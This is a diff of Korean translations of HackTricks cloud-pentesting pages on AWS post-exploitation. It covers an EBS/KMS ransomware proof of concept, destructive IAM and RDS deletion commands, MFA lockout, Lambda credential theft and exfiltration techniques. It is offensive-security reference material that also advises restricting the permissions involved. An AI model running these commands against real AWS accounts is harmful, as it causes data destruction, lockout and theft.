분리(detach)하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용한 snapshots를 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -이로 인해 계정에는 암호화된 EBS 볼륨만 남게 됩니다. +그 결과 계정에는 암호화된 EBS 볼륨만 남게 됩니다. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -또한 스크립트가 원본 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지시켰다는 점도 주목할 만합니다. 원본의 암호화되지 않은 볼륨들은 이제 사라졌습니다. +또한 주목할 점은, 스크립트가 원본 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스를 중지했다는 것입니다. 원본의 암호화되지 않은 볼륨들은 이제 사라졌습니다. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -다음으로 'attacker' 계정의 키 정책으로 돌아가서 키 정책에서 'Outside Encryption' 정책 규칙을 제거합니다. +다음으로 'attacker' 계정의 키 정책으로 돌아가 'Outside Encryption' 정책 규칙을 키 정책에서 제거하세요. ```json { "Version": "2012-10-17", @@ -431,15 +455,15 @@ S3 ransomware 예제와 유사하게, 이 공격은 스냅샷을 사용해 연 ] } ``` -잠시 새로 설정한 key policy가 전파될 때까지 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 attach해 보세요. 볼륨을 attach할 수 있음을 확인할 수 있습니다. +새로 설정한 key policy가 전파될 때까지 잠시 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 attach해 보세요. 볼륨을 attach할 수 있을 것입니다. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -하지만 암호화된 EBS 볼륨을 장착한 상태로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 'pending' 상태에서 다시 'stopped' 상태로 영원히 돌아갑니다. 연결된 EBS 볼륨이 해당 key로 복호화될 수 없기 때문이며, key policy가 더 이상 이를 허용하지 않기 때문입니다. +하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려 하면 실패하고 'pending' 상태에서 다시 'stopped' 상태로 영원히 돌아갑니다. 첨부된 EBS 볼륨을 더 이상 KMS key로 복호화할 수 없고, key policy가 이를 허용하지 않기 때문입니다. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -이것이 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정의 AWS creds와 암호화에 사용할 공개적으로 사용 가능한 AWS ARN 값을 입력받습니다. 스크립트는 대상 AWS 계정에 연결된 모든 EC2 인스턴스의 사용 가능한 모든 EBS 볼륨을 암호화된 사본으로 만들고, 모든 EC2 인스턴스를 중지시키며, 원본 EBS 볼륨을 분리(detach)하고 삭제한 다음, 과정에서 사용된 모든 스냅샷도 삭제합니다. 이로 인해 대상 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요 — 파괴적이며 원본 EBS 볼륨을 모두 삭제합니다. 사용된 KMS key를 사용해 스냅샷으로 복구하여 원래 상태로 복원할 수는 있지만, 결국 이는 ransomware PoC임을 알려드립니다. +다음은 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정의 AWS creds와 암호화에 사용할 공개적으로 이용 가능한 AWS ARN 값을 입력으로 받습니다. 스크립트는 대상 AWS 계정의 모든 EC2 인스턴스에 연결된 모든 사용 가능한 EBS 볼륨의 암호화된 복사본을 만들고, 모든 EC2 인스턴스를 중지한 다음 원본 EBS 볼륨을 detach하고 삭제하며, 마지막으로 과정 중 사용된 모든 snapshots를 삭제합니다. 그 결과 대상 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 반드시 테스트 환경에서만 사용하세요. 파괴적이며 모든 원본 EBS 볼륨을 삭제합니다. 사용된 KMS key를 이용해 스냅샷으로 복구하여 원래 상태로 복원할 수는 있지만, 결국 이것은 ransomware PoC라는 점을 알려드립니다. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index 55f3a259d..2a85c8f3a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -4,23 +4,23 @@ ## IAM -IAM 접근에 대한 자세한 정보: +IAM 접근에 대한 자세한 내용은: {{#ref}} ../../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy Problem +## Confused Deputy 문제 -귀하의 계정에서 **외부 계정 (A)**이 **role**에 접근하도록 **허용하면**, 귀하는 **정확히 누가 해당 외부 계정에 접근할 수 있는지**에 대해 **사실상 가시성이 0**일 가능성이 큽니다. 이는 문제입니다. 왜냐하면 다른 외부 계정 (B)이 외부 계정 (A)에 접근할 수 있다면, **B가 귀하의 계정에도 접근할 수 있게 될 가능성**이 있기 때문입니다. +만약 귀하의 계정에 있는 **role**에 대해 **외부 계정 (A)** 에게 접근을 허용하면, 해당 외부 계정을 정확히 **누가 액세스할 수 있는지에 대한 가시성은 사실상 0입니다**. 이는 문제가 됩니다. 왜냐하면 다른 외부 계정 (B)이 외부 계정 (A)에 접근할 수 있다면 **B가 귀하의 계정에도 접근할 수 있게 될 수 있기 때문**입니다. -따라서 귀하의 계정에서 외부 계정이 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이것은 외부 계정 (A)이 귀하 조직에서 **assume the role in your organization** 하기 위해 **지정해야 하는** "비밀" 문자열입니다. **외부 계정 B가 이 문자열을 모르면**, 설령 B가 A에 대한 접근 권한을 가지고 있더라도 **귀하의 role에 접근할 수 없습니다**. +따라서 귀하의 계정에서 외부 계정이 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정 (A)이 귀하의 조직에서 역할을 **assume**하기 위해 지정해야 하는 "비밀" 문자열입니다. 외부 계정 B는 이 문자열을 모를 것이므로, 설령 B가 A에 접근권을 가지고 있더라도 **귀하의 role에 접근할 수 없습니다**.
-다만 이 `ExternalId` "비밀"은 **비밀이 아니다**는 점을 유의하세요. `IAM assume role policy`를 **읽을 수 있는 누구나 이 값을 볼 수 있습니다**. 하지만 외부 계정 A가 이것을 알고 있고 외부 계정 **B는 모르는** 상태라면, 이는 **B가 A를 악용해 귀하의 role에 접근하는 것을 방지**합니다. +그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**, IAM assume role policy를 **읽을 수 있는 누구나 확인할 수 있습니다**. 하지만 외부 계정 A만 알고 있고 외부 계정 **B가 모르는 한**, 이는 **B가 A를 악용하여 귀하의 role에 접근하는 것을 방지합니다**. -예: +Example: ```json { "Version": "2012-10-17", @@ -39,11 +39,11 @@ IAM 접근에 대한 자세한 정보: } ``` > [!WARNING] -> 공격자가 confused deputy를 악용하려면 현재 계정의 principals가 다른 계정의 roles를 가장할 수 있는지 어떻게든 찾아내야 한다. +> 공격자가 confused deputy를 악용하려면 principals of the current account가 roles in other accounts를 가장할 수 있는지 어떻게든 찾아내야 한다. -### 예기치 않은 Trusts +### 예상치 못한 신뢰 -#### 와일드카드를 principal로 +#### 와일드카드를 principal로 사용 ```json { "Action": "sts:AssumeRole", @@ -53,7 +53,7 @@ IAM 접근에 대한 자세한 정보: ``` 이 정책은 **모든 AWS**가 역할을 맡도록 허용합니다. -#### 서비스가 주체(principal)인 경우 +#### 서비스가 주체인 경우 ```json { "Action": "lambda:InvokeFunction", @@ -62,7 +62,7 @@ IAM 접근에 대한 자세한 정보: "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -이 정책은 **어떤 계정이든** apigateway를 구성하여 이 Lambda를 호출하도록 허용합니다. +이 정책은 **모든 계정이** 자신의 apigateway를 구성하여 이 Lambda를 호출할 수 있도록 허용합니다. #### S3를 주체로 ```json @@ -73,7 +73,7 @@ IAM 접근에 대한 자세한 정보: } } ``` -S3 bucket이 principal로 지정된 경우, S3 buckets에는 Account ID가 없기 때문에, 만약 당신이 **deleted your bucket and the attacker created** 그 버킷을 자신의 계정에 생성했다면, 공격자가 이를 악용할 수 있습니다. +S3 bucket이 principal로 지정되어 있고, S3 buckets에는 계정 ID가 없기 때문에, 당신이 **버킷을 삭제했고 attacker가** 자신의 계정에 생성했다면, 그들은 이를 악용할 수 있습니다. #### 지원되지 않음 ```json @@ -84,10 +84,10 @@ S3 bucket이 principal로 지정된 경우, S3 buckets에는 Account ID가 없 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **일부 서비스는 이를 지원하지 않을 수 있습니다** (예: 일부 출처에 따르면 CloudTrail). +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **일부 서비스는 이를 지원하지 않을 수 있습니다** (예: 일부 자료에 따르면 CloudTrail). ### 자격 증명 삭제 -With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored. +다음 권한 중 어느 하나라도 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — 가 있으면 행위자는 액세스 키, 로그인 프로필, SSH 키, 서비스 전용 자격 증명, 인스턴스 프로필, 인증서 또는 CloudFront 공개 키를 삭제하거나 인스턴스 프로필에서 역할을 분리할 수 있습니다. 이러한 조치는 정당한 사용자와 애플리케이션의 접근을 즉시 차단하고, 해당 자격 증명에 의존하는 시스템에 대해 denial-of-service 또는 접근 상실을 초래할 수 있으므로, 이러한 IAM 권한은 엄격하게 제한되고 모니터링되어야 합니다. ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### 아이덴티티 삭제 -`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, 또는 `iam:RemoveUserFromGroup` 같은 권한이 있으면 행위자는 사용자, 역할, 그룹을 삭제하거나—또는 그룹 멤버십을 변경해—아이덴티티와 관련된 흔적을 제거할 수 있습니다. 이는 해당 아이덴티티에 의존하는 사람과 서비스의 접근을 즉시 차단해 denial-of-service 또는 접근 상실을 초래할 수 있으므로 이러한 IAM actions는 엄격히 제한하고 모니터링해야 합니다. +예를 들어 `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, `iam:RemoveUserFromGroup` 같은 권한이 있으면 행위자는 사용자, 역할, 그룹을 삭제하거나 그룹 구성원을 변경하여 아이덴티티와 관련된 흔적을 제거할 수 있습니다. 이는 해당 아이덴티티에 의존하는 사람과 서비스의 접근을 즉시 차단해 서비스 거부나 접근 상실을 초래할 수 있으므로, 이러한 IAM 액션은 엄격히 제한되고 모니터링되어야 합니다. ```bash # Delete a user aws iam delete-user \ @@ -115,7 +115,7 @@ aws iam delete-role \ --role-name ``` ### -다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전이나 권한 경계(permissions boundaries)를 제거하거나 사용자·그룹·역할에서 정책의 연결을 해제(unlink)할 수 있습니다. 이는 권한을 무력화하고 권한 모델을 변경하여 해당 정책에 의존하던 주체들이 즉시 접근을 잃거나 서비스 거부(denial-of-service)를 겪을 수 있으므로, 이러한 IAM 작업은 엄격히 제한되고 모니터링되어야 합니다. +다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전을 제거하거나 permissions boundaries를 삭제하며, 사용자·그룹·역할에서 정책 연결을 해제할 수 있습니다. 이는 권한을 파괴하고 권한 모델을 변경하여 해당 정책에 의존하던 주체의 즉각적인 접근 상실이나 서비스 거부를 초래할 수 있으므로 이러한 IAM 작업은 엄격히 제한되고 모니터링되어야 합니다. ```bash # Delete a group policy aws iam delete-group-policy \ @@ -128,7 +128,7 @@ aws iam delete-role-policy \ --policy-name ``` ### 연합 신원 삭제 -`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, 및 `iam:RemoveClientIDFromOpenIDConnectProvider` 권한을 가진 행위자는 OIDC/SAML ID 공급자를 삭제하거나 클라이언트 ID를 제거할 수 있습니다. 이는 연합 인증을 중단시켜 토큰 검증을 방해하고 IdP 또는 구성이 복구될 때까지 SSO에 의존하는 사용자와 서비스의 접근을 즉시 차단합니다. +`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, 및 `iam:RemoveClientIDFromOpenIDConnectProvider` 권한으로 공격자는 OIDC/SAML identity providers를 삭제하거나 client ID를 제거할 수 있습니다. 이는 연합 인증을 중단시켜 토큰 검증을 방해하고 IdP 또는 설정이 복구될 때까지 SSO에 의존하는 사용자 및 서비스의 접근을 즉시 차단합니다. ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` -### 불법적인 MFA 활성화 -`iam:EnableMFADevice` 권한으로 공격자는 사용자 계정에 MFA 디바이스를 등록하여 정당한 사용자의 로그인을 방해할 수 있다. 승인되지 않은 MFA가 활성화되면 해당 디바이스가 제거되거나 재설정될 때까지 사용자는 계정에 접근하지 못할 수 있다 (참고: 여러 개의 MFA 디바이스가 등록된 경우 로그인에는 단 하나만 필요하므로 이 공격은 접근 차단에 영향을 주지 않는다). +### 무단 MFA 활성화 +`iam:EnableMFADevice` 권한을 통해 행위자는 사용자의 계정에 MFA 디바이스를 등록하여 정당한 사용자의 로그인을 차단할 수 있습니다. 무단 MFA가 활성화되면 해당 디바이스가 제거되거나 재설정될 때까지 사용자가 로그인을 하지 못할 수 있습니다(참고: 여러 MFA 디바이스가 등록된 경우 로그인을 위해 하나만 필요하므로 이 공격은 접근 차단에는 영향을 미치지 않습니다). ```bash aws iam enable-mfa-device \ --user-name \ @@ -148,7 +148,7 @@ aws iam enable-mfa-device \ --authentication-code2 789012 ``` ### 인증서/키 메타데이터 변조 -With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, 공격자는 공개 키 및 인증서의 상태나 메타데이터를 변경할 수 있다. 키/인증서를 비활성으로 표시하거나 참조를 변경하면 SSH 인증을 중단시키거나 X.509/TLS 검증을 무효화하고, 해당 자격증명에 의존하는 서비스를 즉시 중단시켜 접근 또는 가용성 상실을 초래할 수 있다. +`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` 권한을 통해 공격자는 공개 키와 인증서의 상태 또는 메타데이터를 변경할 수 있습니다. 키/인증서를 비활성화하거나 참조를 변경함으로써 SSH 인증을 중단시키고 X.509/TLS 검증을 무효화하며, 해당 자격 증명에 의존하는 서비스를 즉시 중단시켜 접근 또는 가용성 상실을 초래할 수 있습니다. ```bash aws iam update-ssh-public-key \ --user-name \ @@ -159,7 +159,34 @@ aws iam update-server-certificate \ --server-certificate-name \ --new-path /prod/ ``` -## 참고 자료 +### `iam:Delete*` + +The IAM wildcard iam:Delete*은 users, roles, groups, policies, keys, certificates, MFA devices, policy versions 등 많은 종류의 IAM 리소스를 제거할 수 있는 권한을 부여합니다 — 따라서 영향 범위가 매우 큽니다: iam:Delete* 권한을 가진 행위자는 identities, credentials, policies 및 관련 산출물을 영구적으로 파괴하고, 감사/증거를 제거하며, 서비스 또는 운영 중단을 초래할 수 있습니다. 몇 가지 예는 +```bash +# Delete a user +aws iam delete-user --user-name + +# Delete a role +aws iam delete-role --role-name + +# Delete a managed policy +aws iam delete-policy --policy-arn arn:aws:iam:::policy/ +``` +### `iam:EnableMFADevice` + +iam:EnableMFADevice 권한이 부여된 행위자는 해당 계정의 아이덴티티에 대해 MFA 장치를 등록할 수 있습니다(해당 사용자가 이미 활성화하지 않은 경우에 한함). 이는 사용자의 접근을 방해하는 데 사용할 수 있습니다: 공격자가 MFA 장치를 등록하면 정당한 사용자는 공격자가 등록한 MFA를 제어하지 못해 로그인할 수 없게 될 수 있습니다. + +이 접근 차단 공격은 사용자가 MFA를 전혀 등록하지 않은 경우에만 작동합니다; 공격자가 해당 사용자에 대해 MFA 장치를 등록하면 정당한 사용자는 그 새로운 MFA가 필요한 모든 흐름에서 차단됩니다. 사용자가 이미 하나 이상의 MFA 장치를 가지고 있다면 공격자가 제어하는 MFA를 추가해도 정당한 사용자는 차단되지 않습니다 — 사용자는 이미 보유한 어떤 MFA로든 계속 인증할 수 있습니다. + +사용자에 대해 MFA 장치를 활성화(등록)하려면 공격자는 다음을 실행할 수 있습니다: +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +## 참조 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 391b72cb8..6f495d117 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,77 +4,83 @@ ## Lambda -For more information check: +자세한 내용은 다음을 확인하세요: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfilrtate Lambda Credentials +### Lambda 자격 증명 유출 -Lambda는 런타임에 환경 변수를 통해 자격 증명을 주입합니다. `/proc/self/environ`을 읽거나 취약한 함수를 통해 해당 변수에 접근할 수 있다면, 이를 사용하여 권한을 얻을 수 있습니다. 자격 증명은 기본 환경 변수 이름 `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`에 저장됩니다. +Lambda는 런타임에 자격 증명을 주입하기 위해 환경 변수를 사용합니다. `/proc/self/environ`을 읽거나 취약한 함수를 이용해 접근할 수 있다면 해당 값을 획득해 직접 사용할 수 있습니다. 이 값들은 기본 환경 변수명 `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`에 저장됩니다. -기본적으로 이 자격 증명들은 cloudwatch 로그 그룹에 쓰기 권한(로그 그룹 이름은 `AWS_LAMBDA_LOG_GROUP_NAME`에 저장됨)과 임의의 로그 그룹을 생성할 수 있는 권한을 가집니다. 다만 Lambda 함수들은 의도된 사용에 따라 더 많은 권한이 할당되는 경우가 많습니다. +기본적으로 해당 자격 증명은 cloudwatch log group에 쓰기 권한(그 이름은 `AWS_LAMBDA_LOG_GROUP_NAME`에 저장됨)과 임의의 로그 그룹을 생성할 권한을 가집니다. 그러나 lambda functions는 용도에 따라 더 많은 권한이 할당되는 경우가 많습니다. -### Steal Others Lambda URL Requests +### `lambda:Delete*` +lambda:Delete* 권한을 부여받은 공격자는 Lambda functions, versions/aliases, layers, event source mappings 및 기타 관련 구성들을 삭제할 수 있습니다. +```bash +aws lambda delete-function \ +--function-name +``` +### 다른 사용자의 Lambda URL 요청 탈취 -공격자가 Lambda 내부에서 RCE를 얻으면 다른 사용자의 Lambda로 향하는 HTTP 요청을 탈취할 수 있습니다. 요청에 민감한 정보(쿠키, 자격 증명 등)가 포함되어 있다면 이를 훔칠 수 있습니다. +공격자가 어떤 방법으로든 Lambda 내부에서 RCE를 획득하면 다른 사용자의 Lambda에 대한 HTTP 요청을 탈취할 수 있습니다. 요청에 민감한 정보(예: cookies, credentials...)가 포함되어 있으면 이를 탈취할 수 있습니다. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### 다른 사용자의 Lambda URL 요청 및 Extensions 요청 탈취 -Lambda Layers를 악용하면 extensions를 남용하여 Lambda에 지속성을 확보하는 것뿐만 아니라 요청을 탈취하고 수정하는 것도 가능합니다. +Lambda Layers를 악용하면 extensions를 악용해 Lambda에 지속적으로 남아 요청을 탈취하거나 수정할 수도 있습니다. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} -### AWS Lambda – VPC Egress Bypass +### AWS Lambda – VPC 이그레스 우회 -빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 구성 업데이트하여 제한된 VPC에서 Lambda 함수를 강제로 빼내세요. 그러면 함수는 Lambda가 관리하는 네트워킹 영역에서 실행되어 외부 인터넷 접근을 다시 얻고, NAT 없이 사설 VPC 서브넷에서 적용되는 아웃바운드 제어를 우회할 수 있습니다. +빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 구성 업데이트하여 제한된 VPC에서 Lambda 함수를 밖으로 빼낼 수 있습니다. 그러면 함수는 Lambda가 관리하는 네트워킹 영역에서 실행되어 아웃바운드 인터넷 접근을 회복하고 NAT 없는 private VPC 서브넷에서 적용되는 egress 제어를 우회하게 됩니다. {{#ref}} aws-lambda-vpc-egress-bypass.md {{#endref}} -### AWS Lambda – Runtime Pinning/Rollback Abuse +### AWS Lambda – Runtime Pinning/Rollback 악용 -`lambda:PutRuntimeManagementConfig`를 악용하여 함수를 특정 런타임 버전(Manual)에 고정하거나 업데이트를 동결(FunctionUpdate)하세요. 이렇게 하면 악의적인 layers/wrappers와의 호환성을 유지하고, 취약한 오래된 런타임에 함수를 머무르게 하여 악용 및 장기 지속성에 도움이 될 수 있습니다. +`lambda:PutRuntimeManagementConfig`를 악용해 함수를 특정 runtime 버전(Manual)에 고정하거나 업데이트를 동결(FunctionUpdate)할 수 있습니다. 이렇게 하면 악성 layers/wrappers와의 호환성을 유지하고 함수가 오래된 취약한 runtime에 머물러 익스플로잇 및 장기 persistence에 도움이 될 수 있습니다. {{#ref}} aws-lambda-runtime-pinning-abuse.md {{#endref}} -### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection +### AWS Lambda – LoggingConfig.LogGroup 리디렉션을 통한 로그 탈취 -`lambda:UpdateFunctionConfiguration`의 고급 로깅 제어를 악용해 함수의 로그를 공격자가 선택한 CloudWatch Logs 로그 그룹으로 리다이렉션하세요. 이는 코드나 실행 역할을 변경하지 않고도 동작합니다(대부분의 Lambda 역할은 이미 `AWSLambdaBasicExecutionRole`을 통해 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`를 포함). 함수가 비밀/요청 본문을 출력하거나 스택 트레이스와 함께 크래시하면 새 로그 그룹에서 이를 수집할 수 있습니다. +`lambda:UpdateFunctionConfiguration`의 고급 로깅 제어를 악용해 함수 로그를 공격자가 선택한 CloudWatch Logs 로그 그룹으로 리디렉션할 수 있습니다. 이 방법은 코드나 실행 역할을 변경하지 않고도 작동합니다(대부분의 Lambda 역할은 이미 `AWSLambdaBasicExecutionRole`을 통해 `logs:CreateLogGroup/CreateLogStream/PutLogEvents` 권한을 포함). 함수가 secrets/request bodies를 출력하거나 스택 트레이스로 크래시하면 새로운 로그 그룹에서 이를 수집할 수 있습니다. {{#ref}} aws-lambda-loggingconfig-redirection.md {{#endref}} -### AWS - Lambda Function URL Public Exposure +### AWS - Lambda Function URL 공개 노출 -Function URL의 AuthType을 NONE으로 변경하고 모든 사용자에게 lambda:InvokeFunctionUrl 권한을 부여하는 리소스 기반 정책을 연결하면, 프라이빗 Lambda Function URL을 공개 비인증 엔드포인트로 변경할 수 있습니다. 이는 내부 함수의 익명 호출을 가능하게 하며 민감한 백엔드 작업을 노출시킬 수 있습니다. +Function URL AuthType를 NONE으로 변경하고 모든 사용자에게 lambda:InvokeFunctionUrl 권한을 부여하는 resource-based policy를 연결하면 private Lambda Function URL을 public 무인증 엔드포인트로 만들 수 있습니다. 이는 내부 함수의 익명 호출을 가능하게 하며 민감한 백엔드 작업을 노출할 수 있습니다. {{#ref}} aws-lambda-function-url-public-exposure.md {{#endref}} -### AWS Lambda – Event Source Mapping Target Hijack +### AWS Lambda – Event Source Mapping 대상 하이재크 -`UpdateEventSourceMapping`을 악용하여 기존 Event Source Mapping(ESM)의 대상 Lambda 함수를 변경하면 DynamoDB Streams, Kinesis, 또는 SQS의 레코드가 공격자가 제어하는 함수로 전달됩니다. 이는 생산자나 원래 함수 코드를 건드리지 않고 실시간 데이터를 은밀히 전환합니다. +`UpdateEventSourceMapping`을 악용해 기존 Event Source Mapping(ESM)의 대상 Lambda 함수를 변경하면 DynamoDB Streams, Kinesis 또는 SQS의 레코드가 공격자 제어 함수로 전달됩니다. 이는 프로듀서나 원래 함수 코드를 건드리지 않고 실시간 데이터를 은밀히 우회시킵니다. {{#ref}} aws-lambda-event-source-mapping-hijack.md {{#endref}} -### AWS Lambda – EFS Mount Injection data exfiltration +### AWS Lambda – EFS Mount Injection 데이터 exfiltration -`lambda:UpdateFunctionConfiguration`를 악용해 기존 EFS Access Point를 Lambda에 연결한 다음, 마운트된 경로에서 파일을 나열/읽는 간단한 코드를 배포하여 함수가 이전에 접근할 수 없었던 공유 비밀/구성 정보를 exfiltrate하세요. +`lambda:UpdateFunctionConfiguration`을 악용해 기존 EFS Access Point를 Lambda에 연결한 다음, 마운트된 경로에서 파일을 나열/읽는 간단한 코드를 배포하여 함수가 이전에 접근할 수 없었던 공유된 secrets/config를 exfiltrate할 수 있습니다. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 4d9bc3d0b..da38405a3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -4,7 +4,7 @@ ## RDS -자세한 정보는 다음을 확인하세요: +자세한 내용은 다음을 확인하세요: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 뒤 그 스냅샷으로부터 공개적으로 접근 가능한 DB를 생성하여 **DB를 공개적으로 접근 가능하게** 만들 수 있습니다. +공격자가 충분한 권한을 가지고 있으면, DB의 스냅샷을 생성한 뒤 그 스냅샷으로부터 **공개적으로 접근 가능한 DB**를 생성하여 해당 DB를 공개적으로 접근 가능하게 만들 수 있습니다. ```bash aws rds describe-db-instances # Get DB identifier @@ -38,11 +38,47 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` +### `rds:StopDBCluster` & `rds:StopDBInstance` +rds:StopDBCluster 또는 rds:StopDBInstance 권한을 가진 공격자는 RDS 인스턴스나 전체 클러스터를 즉시 중지시켜 데이터베이스 사용 불가, 연결 끊김, 그리고 데이터베이스에 의존하는 프로세스의 중단을 초래할 수 있습니다. + +To stop a single DB instance (example): +```bash +aws rds stop-db-instance \ +--db-instance-identifier +``` +전체 DB 클러스터를 중지하려면 (예): +```bash +aws rds stop-db-cluster \ +--db-cluster-identifier +``` +### `rds:Delete*` + +rds:Delete* 권한이 부여된 공격자는 RDS resources를 제거할 수 있으며, DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts를 삭제하여 즉시 서비스 중단, 데이터 손실, 복구 지점의 파괴 및 포렌식 증거의 손실을 초래할 수 있습니다. +```bash 